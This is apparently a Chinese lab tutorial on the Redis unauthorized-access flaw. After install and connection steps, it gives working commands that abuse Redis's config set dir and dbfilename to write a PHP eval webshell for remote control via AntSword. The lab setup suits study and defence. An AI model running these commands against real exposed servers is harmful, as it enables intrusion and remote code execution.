目录
1.了解redis
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivota赞助。
2.redis漏洞原理
Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有进行有效保护措施,那么处于公网的redis服务就会被任意的用户未授权访问,读取数据,甚至利用redis自身的命令,进行写入文件操作,这样就会恶意攻击者利用redis未授权漏洞进行进一步攻击。
3.redis漏洞复现
我看很多redis漏洞复现靶机和攻击机都是linux系统的,如果你是这样的那么网上比较多这样复现文章,也比较简单。本文是攻击机是windows和靶机是Linux,kali虚拟机之间的漏洞复现。
攻击机:window10 专业版 ip 192.168.43.102
靶机:linux kali ip192.168.43.141
3.1 安装redis
3.1.1 Linux安装redis
因为我之前已经安装过了就不把步骤截图了,代码步骤已经给大家写清楚了,实在不会就自己百度。可能在make时候报错,可能是你gcc没有下载。
第一步 wget http://download.redis.io/releases/redis-2.8.17.tar.gz#下载redis
第二步 tar xzf redis-2.8.17.tar.gz#解压安装包
第三步 cd redis-2.8.17 #进入redis文件夹
第四步 make #在redis-2.8.17文件夹下执行make
第五步 cd src#进入redis-2.8.17文件夹下的src文件夹
第六步 cp redis-server /usr/bin
第七步 cp redis-cli /usr/bin #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
第八步 cp redis-conf /etc/ #返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下
第九步 redis-server /etc/redis.conf #使用/etc/目录下的reids.conf文件中的配置启动redis服务
可以看到我在任何地方都可以启动redis服务端。
3.1.2 windows安装redis
首先自己去下载redis压缩包,直接解压。官网自己去下载。在redis文件夹下运行cmd,如果你的redis服务端开启,执行下面代码就进行连接
redis-cli.exe -h 192.168.43.141 #ip是你靶机的IP地址,端口可加可不加。
#redis-cli.exe -h 192.168.43.141 -p 6379
#如果是linux连接
redis-cli -h ip
到目前为止redis未授权漏洞我们已经复现成功,接下来就是漏洞利用。
注意:如果是版本比较高的redis需要修改redis的配置文件,linux是redis.conf。如果是windows配置文件是redis.windows.conf。将bind前面#注释符去掉,将protected-mode 后面改为no。
4.redis漏洞利用
4.1利用redis漏洞写webshell
4.1.1利用前提
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(开启web服务器,就可以利用url使用蚁剑进行连接)
4.1.2上传webshell
config get dir #查看redis数据库路径
config set dir /root/redis-2.8.17# #修改靶机Redis数据库路径
config set dbfilename 22.php #生成22.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"#上传木马可以通过蚁剑连接
save#保存